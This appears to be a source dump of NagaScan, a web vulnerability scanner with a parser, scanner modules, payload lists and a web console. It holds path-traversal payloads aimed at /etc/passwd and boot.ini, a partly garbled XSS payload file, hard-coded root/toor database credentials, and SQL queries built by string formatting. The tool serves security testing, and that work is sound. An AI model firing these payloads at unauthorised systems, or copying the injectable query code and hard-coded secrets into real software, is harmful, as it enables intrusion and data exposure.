├── parser ├── lib │ ├── __init__.py │ ├── utils.py │ └── db_operation.py ├── parser_mitmproxy.py └── parser_burp.py ├── scanner ├── lib │ ├── __init__.py │ ├── utils.py │ ├── hack_requests.py │ └── hack_sqlmapapi.py ├── payloads │ ├── fi_verify.txt │ ├── fi.txt │ └── xss.txt ├── scan_sqli.py ├── scan_xss.py └── scan_fi.py ├── www ├── favicon.ico ├── transwarp │ ├── __init__.py │ └── orm.py ├── static │ ├── fonts │ │ ├── FontAwesome.otf │ │ ├── fontawesome-webfont.eot │ │ ├── fontawesome-webfont.ttf │ │ └── fontawesome-webfont.woff │ ├── css │ │ ├── nagascan.css │ │ └── addons │ │ │ ├── uikit.addons.min.css │ │ │ ├── uikit.almost-flat.addons.min.css │ │ │ └── uikit.gradient.addons.min.css │ └── js │ │ ├── sticky.min.js │ │ ├── html5.js │ │ ├── md5.js │ │ └── nagascan.js ├── config_override.py ├── config_default.py ├── utils.py ├── config.py ├── wsgiapp.py ├── pymonitor.py ├── templates │ ├── manage_user_list.html │ ├── signin.html │ ├── register.html │ ├── __base__.html │ ├── manage_request_list.html │ ├── manage_scan_add.html │ ├── manage_scan_edit.html │ ├── manage_request_view.html │ ├── manage_scan_view.html │ ├── manage_vulns_list.html │ └── manage_exclusion_view.html ├── models.py └── apis.py ├── picture ├── webconsole.jpeg ├── exclusion_1.jpeg ├── exclusion_2.jpeg └── sqlmapserver.jpeg ├── proxy └── proxy_mitmproxy.py ├── README.md └── schema.sql /parser/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scanner/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /www/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/www/favicon.ico -------------------------------------------------------------------------------- /www/transwarp/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /picture/webconsole.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/picture/webconsole.jpeg -------------------------------------------------------------------------------- /picture/exclusion_1.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/picture/exclusion_1.jpeg -------------------------------------------------------------------------------- /picture/exclusion_2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/picture/exclusion_2.jpeg -------------------------------------------------------------------------------- /picture/sqlmapserver.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/picture/sqlmapserver.jpeg -------------------------------------------------------------------------------- /www/static/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/www/static/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /www/static/css/nagascan.css: -------------------------------------------------------------------------------- 1 | /* 2 | * custom css 3 | */ 4 | a:hover, a:active { 5 | text-decoration: none; 6 | } 7 | -------------------------------------------------------------------------------- /www/static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/www/static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /www/static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/www/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /www/static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/5up3rc/NagaScan/HEAD/www/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /www/config_override.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | Override configurations. 6 | ''' 7 | 8 | __author__ = 'avfisher' 9 | 10 | configs = { 11 | 'db': { 12 | 'host': '127.0.0.1', 13 | 'user': 'root', 14 | 'password': 'toor' 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /www/config_default.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'avfisher' 5 | 6 | ''' 7 | Default configurations. 8 | ''' 9 | 10 | configs = { 11 | 'db': { 12 | 'host': '127.0.0.1', 13 | 'port': 3306, 14 | 'user': 'root', 15 | 'password': 'toor', 16 | 'database': 'nagascan' 17 | }, 18 | 'session': { 19 | 'secret': 'Bb\UIk#Z)TKe5$KB' 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /scanner/payloads/fi_verify.txt: -------------------------------------------------------------------------------- 1 | java.io.FileNotFoundException\: 2 | java.lang.Exception\: 3 | java.lang.IllegalArgumentException\: 4 | java.net.MalformedURLException\: 5 | The server encountered an internal error \(.*\) that prevented it from fulfilling this request. 6 | fread\(\)\: 7 | for inclusion '\(include_path= 8 | Failed opening requiredv 9 | <b>Warning</b>\: file\( 10 | <b>Warning</b>\: file_get_contents\( 11 | root:x\:0\:0\:root\: 12 | Warning\: fopen\( 13 | No such file or directory 14 | -------------------------------------------------------------------------------- /scanner/payloads/fi.txt: -------------------------------------------------------------------------------- 1 | ../../../../../../../../../../../../../../../boot.ini 2 | ../../../../../../../../../../../../../../../boot.ini.html 3 | C:\boot.ini 4 | C:\boot.ini.html 5 | %SYSTEMROOT%\win.ini 6 | %SYSTEMROOT%\win.ini 7 | %SYSTEMROOT%\win.ini.html 8 | ../../../../../../../../../../../../../../../etc/passwd%00.html 9 | /etc/passwd%00.html 10 | ../../../../../../../../../../../../../../../etc/passwd 11 | ../../../../../../../../../../../../../../../etc/passwd%00 12 | ../../../../../../../../../../../../../../../etc/passwd%0a 13 | ../../../../../../../../../../../../../../../etc/passwd%0d 14 | ../../../../../../../../../../../../../../../etc/passwd%0a%0d 15 | ../../../../../../../../../../../../../../../etc/passwd.html 16 | ....//....//....//....//....//....//....//....//....//....//etc/passwd 17 | ../../../../../../../../../../../../../../../../etc/passwd%00 18 | ....//....//....//....//....//....//....//....//....//....//etc/passwd%00 19 | /etc/passwd 20 | -------------------------------------------------------------------------------- /parser/lib/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import MySQLdb 4 | import smtplib 5 | import time 6 | from email.mime.text import MIMEText 7 | 8 | def highlight(content, color, ENVIRONMENT='Linux'): 9 | if ENVIRONMENT=='Linux': 10 | if color == "red": 11 | content = "\033[1;31;40m{}\033[0m".format(content) 12 | if color == "green": 13 | content = "\033[1;32;40m{}\033[0m".format(content) 14 | if color == "yellow": 15 | content = "\033[1;33;40m{}\033[0m".format(content) 16 | if color == "blue": 17 | content = "\033[1;34;40m{}\033[0m".format(content) 18 | return content 19 | 20 | def escape_content(content): 21 | content = MySQLdb.escape_string(content) 22 | return content 23 | 24 | def logging(log_file, content): 25 | f=open(log_file,'a') 26 | now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) 27 | f.write(str(now)+': '+content.strip()+'\n') 28 | f.close 29 | -------------------------------------------------------------------------------- /www/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import bleach 4 | from reform import HtmlEncode 5 | 6 | def content_escape(content): 7 | if isinstance(content, list): 8 | escaped_content = [] 9 | for item in content: 10 | escaped_item = {} 11 | for key, value in item.items(): 12 | escaped_item[key] = bleach.clean(value) 13 | escaped_content.append(escaped_item) 14 | elif isinstance(content, str): 15 | escaped_content = bleach.clean(content) 16 | else: 17 | escaped_content = content 18 | return escaped_content 19 | 20 | def html_encode(content): 21 | if isinstance(content, list): 22 | encode_content = [] 23 | for item in content: 24 | encode_item = {} 25 | for key, value in item.items(): 26 | try: 27 | encode_item[key] = HtmlEncode(str(value)) 28 | except Exception, err: 29 | encode_item[key] = HtmlEncode(value.encode('utf-8')) 30 | encode_content.append(encode_item) 31 | elif isinstance(content, str): 32 | try: 33 | encode_content = HtmlEncode(content) 34 | except Exception, err: 35 | encode_content = HtmlEncode(content.encode('utf-8')) 36 | else: 37 | encode_content = content 38 | return encode_content 39 | -------------------------------------------------------------------------------- /scanner/payloads/xss.txt: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | "> 4 | "> 5 | "> 6 | ">

Clickme

8 | ">Clickme 9 | ">Clickme 10 | ">click 11 | "> 180 | 181 | 182 | 183 |
184 |

Log Parse Exclusions

185 |

Please use | as delimiter for multiple exclusions or leave it blank if no exclusion.

186 |
187 | 188 |
189 | 190 |
191 |
192 |
193 |
194 |

Cookie Parameter Exclusions

195 |

Please use | as delimiter for multiple exclusions or leave it blank if no exclusion.

196 |
197 | 198 |
199 | 200 |
201 |
202 |
203 |
204 |
205 |
206 | 207 | 208 | 209 | 210 | 211 | 212 |
213 | Loading... 214 |
215 | {% endblock %} 216 | -------------------------------------------------------------------------------- /parser/lib/db_operation.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ Database Operations 4 | 5 | This module is used to parse Burp Requests and insert into MySQL DB. 6 | 7 | """ 8 | 9 | import MySQLdb 10 | import time 11 | from utils import highlight 12 | 13 | def db_conn(): 14 | try: 15 | user = "root" 16 | pwd = "toor" 17 | hostname = "127.0.0.1" 18 | 19 | dbname = "nagascan" 20 | charset = "utf8" 21 | dbconn = MySQLdb.connect(user=user,passwd=pwd,host=hostname,db=dbname,charset=charset) 22 | return dbconn 23 | except Exception, e: 24 | print highlight('[!] error: {}'.format(str(e)), 'yellow') 25 | pass 26 | 27 | def db_insert(table, args): 28 | """ Insert data into table 29 | 30 | Args: 31 | table: The name of table 32 | args: The input content, it is a dict, e.g. {'exclusion':'google','update_time':'2017-03-10: 14:19'} 33 | 34 | """ 35 | 36 | cols = [] 37 | for key in args.keys(): 38 | cols.append(key) 39 | sql = 'INSERT INTO `%s` (%s) VALUES (%s)' % (table, ','.join(['`%s`' % col for col in cols]), ','.join(['?' for i in range(len(cols))])) 40 | sql = sql.replace('?', '%s') 41 | try: 42 | db = db_conn() 43 | cursor = db.cursor() 44 | cursor.execute(sql, args.values()) 45 | db.commit() 46 | db.close() 47 | return True 48 | except Exception, e: 49 | print highlight('[!] sql: {}, error: {}'.format(sql, str(e)), 'red') 50 | return False 51 | 52 | def db_update(table, args, cons): 53 | """ Update data in specific table with specific conditions 54 | 55 | Args: 56 | table: The name of table 57 | args: The update content, it is a dict, e.g. {'exclusion':'google','update_time':'2017-03-10: 14:19'} 58 | cons: The conditions, it is a dict, e.g. {'id':'111'} 59 | 60 | """ 61 | 62 | cols = [] 63 | cols_cons = [] 64 | values = [] 65 | for k,v in args.items(): 66 | cols.append(k) 67 | values.append(v) 68 | for k,v in cons.items(): 69 | cols_cons.append(k) 70 | values.append(v) 71 | sql = 'UPDATE `%s` SET %s WHERE %s' % (table, ','.join(['`%s`=?' % col for col in cols]), ','.join(['`%s`=?' % col for col in cols_cons])) 72 | sql = sql.replace('?', '%s') 73 | try: 74 | db = db_conn() 75 | cursor = db.cursor() 76 | cursor.execute(sql, values) 77 | db.commit() 78 | db.close() 79 | return True 80 | except Exception, e: 81 | print highlight('[!] sql: {}, error: {}'.format(sql, str(e)), 'red') 82 | return False 83 | 84 | def db_query(sql): 85 | try: 86 | db = db_conn() 87 | cursor = db.cursor() 88 | cursor.execute(sql) 89 | db.commit() 90 | db.close() 91 | query_result = cursor.fetchall() 92 | return query_result 93 | except Exception, e: 94 | print highlight('[!] sql: {}, error: {}'.format(sql, str(e)), 'red') 95 | return '' 96 | 97 | def fetch_sqlmap(): 98 | """Fetch SQLMAP servers from database 99 | 100 | """ 101 | 102 | sql = "SELECT ip, port FROM sqlmap WHERE status = 1" 103 | sqlmaps = db_query(sql) 104 | return sqlmaps 105 | 106 | def fetch_exclusion_scan(scan_type): 107 | """Fetch Scan Exclusions from database 108 | 109 | Args: 110 | scan_type: Int, the scan type, e.g. 0: xss; 1: sqli; 2: fi 111 | 112 | """ 113 | 114 | sql = "SELECT ip, port, protocol, host, method, user_agent, accept, accept_language, accept_encoding, cookie, referer, content_type, post_data, path FROM exclusions_scan WHERE type = {}".format(scan_type) 115 | exclusions = db_query(sql) 116 | return exclusions 117 | 118 | def fetch_exclusion_parse(): 119 | """Fetch Parse Exclusions from database 120 | 121 | """ 122 | 123 | sql = "SELECT exclusion FROM exclusions_parse" 124 | exclusions = db_query(sql) 125 | return exclusions 126 | 127 | def fetch_exclusion_cookie(): 128 | """Fetch Cookie Exclusions from database 129 | 130 | """ 131 | 132 | sql = "SELECT exclusion FROM exclusions_cookie" 133 | exclusions = db_query(sql) 134 | return exclusions 135 | 136 | def fetch_request(exclude, scan_type, limit_num): 137 | """Fetch request from database 138 | 139 | Args: 140 | exclude: Exclusions of requests, it is a dict 141 | scan_type: The scan type, e.g. scan_xss, scan_sqli 142 | limit_num: The number of limit of requests 143 | 144 | """ 145 | 146 | if exclude: 147 | conditions = [] 148 | for key, value in exclude.items(): 149 | vals = value.split('|') 150 | if len(vals) > 1: 151 | for val in vals: 152 | conditions.append("lower({}) not like '%{}%'".format(key, val)) 153 | else: 154 | conditions.append("lower({}) not like '%{}%'".format(key, vals[0])) 155 | conditions_str = " and ".join(conditions) 156 | sql = "SELECT rid, protocol, host, method, user_agent, accept, accept_language, accept_encoding, cookie, referer, post_data, path, scan_xss, scan_sqli FROM requests WHERE {} = 0 and {} order by id desc limit {}".format(scan_type, conditions_str, limit_num) 157 | else: 158 | sql = "SELECT rid, protocol, host, method, user_agent, accept, accept_language, accept_encoding, cookie, referer, post_data, path, scan_xss, scan_sqli FROM requests WHERE {} = 0 order by id desc limit {}".format(scan_type, limit_num) 159 | requests = db_query(sql) 160 | return requests 161 | 162 | def get_parse_exclusion_info(exclusion): 163 | """Convert raw parse exclusion to dict 164 | 165 | Args: 166 | exclusion: raw parse exclusion from database 167 | 168 | Returns: 169 | exclude: list 170 | 171 | """ 172 | 173 | exclude = [] 174 | if exclusion[0]: 175 | exclusions = exclusion[0].split('|'); 176 | for excl in exclusions: 177 | if excl: 178 | exclude.append(excl) 179 | return exclude 180 | 181 | def get_cookie_exclusion_info(exclusion): 182 | """Convert raw cookie exclusion to dict 183 | 184 | Args: 185 | exclusion: raw cookie exclusion from database 186 | 187 | Returns: 188 | exclude: list 189 | 190 | """ 191 | 192 | exclude = [] 193 | if exclusion[0]: 194 | exclusions = exclusion[0].split('|'); 195 | for excl in exclusions: 196 | if excl: 197 | exclude.append(excl) 198 | return exclude 199 | 200 | def get_scan_exclusion_info(exclusion): 201 | """Convert raw scan exclusion to dict 202 | 203 | Args: 204 | exclusion: raw scan exclusion from database 205 | 206 | Returns: 207 | exclude: dict 208 | 209 | """ 210 | 211 | exclude = {} 212 | if exclusion[0]: 213 | exclude['ip'] = exclusion[0] 214 | if exclusion[1]: 215 | exclude['port'] = exclusion[1] 216 | if exclusion[2]: 217 | exclude['protocol'] = exclusion[2] 218 | if exclusion[3]: 219 | exclude['host'] = exclusion[3] 220 | if exclusion[4]: 221 | exclude['method'] = exclusion[4] 222 | if exclusion[5]: 223 | exclude['user_agent'] = exclusion[5] 224 | if exclusion[6]: 225 | exclude['accept'] = exclusion[6] 226 | if exclusion[7]: 227 | exclude['accept_language'] = exclusion[7] 228 | if exclusion[8]: 229 | exclude['accept_encoding'] = exclusion[8] 230 | if exclusion[9]: 231 | exclude['cookie'] = exclusion[9] 232 | if exclusion[10]: 233 | exclude['referer'] = exclusion[10] 234 | if exclusion[11]: 235 | exclude['content_type'] = exclusion[11] 236 | if exclusion[12]: 237 | exclude['post_data'] = exclusion[12] 238 | if exclusion[13]: 239 | exclude['path'] = exclusion[13] 240 | 241 | return exclude 242 | 243 | def get_request_info(request): 244 | """Convert raw request to dict 245 | 246 | Args: 247 | request: raw request from database 248 | 249 | Returns: 250 | request_info: dict 251 | 252 | """ 253 | 254 | request_info = {} 255 | request_info['rid'] = request[0] 256 | request_info['protocol'] = request[1] 257 | request_info['host'] = request[2] 258 | request_info['method'] = request[3] 259 | request_info['user_agent'] = request[4] 260 | request_info['accept'] = request[5] 261 | request_info['accept_language'] = request[6] 262 | request_info['accept_encoding'] = request[7] 263 | request_info['cookie'] = request[8] 264 | request_info['referer'] = request[9] 265 | request_info['post_data'] = request[10] 266 | request_info['path'] = request[11] 267 | request_info['scan_xss'] = request[12] 268 | request_info['scan_sqli'] = request[13] 269 | 270 | return request_info 271 | 272 | def get_sqlmap_info(sqlmap): 273 | """Convert raw sqlmap server info to dict 274 | 275 | Args: 276 | sqlmap: raw sqlmap server info from database 277 | 278 | Returns: 279 | sqlmap_info: dict 280 | 281 | """ 282 | 283 | sqlmap_info = {} 284 | sqlmap_info['ip'] = sqlmap[0] 285 | sqlmap_info['port'] = sqlmap[1] 286 | 287 | return sqlmap_info 288 | 289 | def is_checked(rid, scan_type): 290 | """Check if the specific request has been checked before. 291 | 292 | Args: 293 | rid: The rid of the request 294 | scan_type: The scan type, e.g. scan_xss, scan_sqli 295 | 296 | Returns: 297 | True for checked, False otherwise. 298 | 299 | """ 300 | 301 | try: 302 | sql = "SELECT COUNT(*) FROM requests where rid ='{}' and {} = 1".format(rid.strip(), scan_type) 303 | query_result = db_query(sql) 304 | count = [row[0] for row in query_result] 305 | if count[0] >= 1: 306 | return True 307 | else: 308 | return False 309 | except Exception, e: 310 | print highlight('[!] {}'.format(str(e)), 'red') 311 | return False 312 | 313 | def is_checked_vulnerable(rid, scan_result_type): 314 | """Check if the specific request has been detected as vulnerable before. 315 | 316 | Args: 317 | rid: The rid of the request 318 | scan_result_type: The scan result type for the request, e.g. result_xss, result_sqli 319 | 320 | Returns: 321 | True for existed vulnerable, False otherwise. 322 | 323 | """ 324 | 325 | try: 326 | sql = "SELECT COUNT(*) FROM requests where rid ='{}' and {} = 'vulnerable'".format(rid.strip(), scan_result_type) 327 | query_result = db_query(sql) 328 | count = [row[0] for row in query_result] 329 | if count[0] >= 1: 330 | return True 331 | else: 332 | return False 333 | except Exception, e: 334 | print highlight('[!] {}'.format(str(e)), 'red') 335 | return False 336 | 337 | def update_scan_result(rid, scan_type, scan_result_type, scan_result, poc_type, poc_result, response_type, response): 338 | """Update scanning result into database 339 | 340 | Args: 341 | rid: The rid of the request 342 | scan_type: The scan type, e.g. scan_xss, scan_sqli 343 | scan_result_type: The scan result type for the request, e.g. result_xss, result_sqli 344 | scan_result: The scanning result, e.g. vulnerable, not vulnerable 345 | poc_type: The poc type, e.g. poc_xss, poc_sqli 346 | poc_result: The payload of poc 347 | response_type: The response type, e.g. response_xss, response_fi, response_sqli 348 | response: The source page of response 349 | 350 | """ 351 | if not is_checked_vulnerable(rid, scan_result_type): 352 | if scan_result == "vulnerable": 353 | now = str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))) 354 | table_request = 'requests' 355 | args_request = {} 356 | args_request[scan_type] = 1 357 | args_request[scan_result_type] = scan_result 358 | args_request[poc_type] = poc_result 359 | args_request['update_time'] = now 360 | cons_request = {} 361 | cons_request['rid'] = rid 362 | 363 | table_response = 'responses' 364 | args_response = {} 365 | args_response['update_time'] = now 366 | args_response[response_type] = response 367 | cons_response = {} 368 | cons_response['rid'] = rid 369 | else: 370 | now = str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))) 371 | table_request = 'requests' 372 | args_request = {} 373 | args_request[scan_type] = 1 374 | args_request[scan_result_type] = scan_result 375 | args_request['update_time'] = now 376 | cons_request = {} 377 | cons_request['rid'] = rid 378 | 379 | table_response = 'responses' 380 | args_response = {} 381 | args_response['update_time'] = now 382 | cons_response = {} 383 | cons_response['rid'] = rid 384 | db_update(table_request, args_request, cons_request) 385 | db_update(table_response, args_response, cons_response) 386 | --------------------------------------------------------------------------------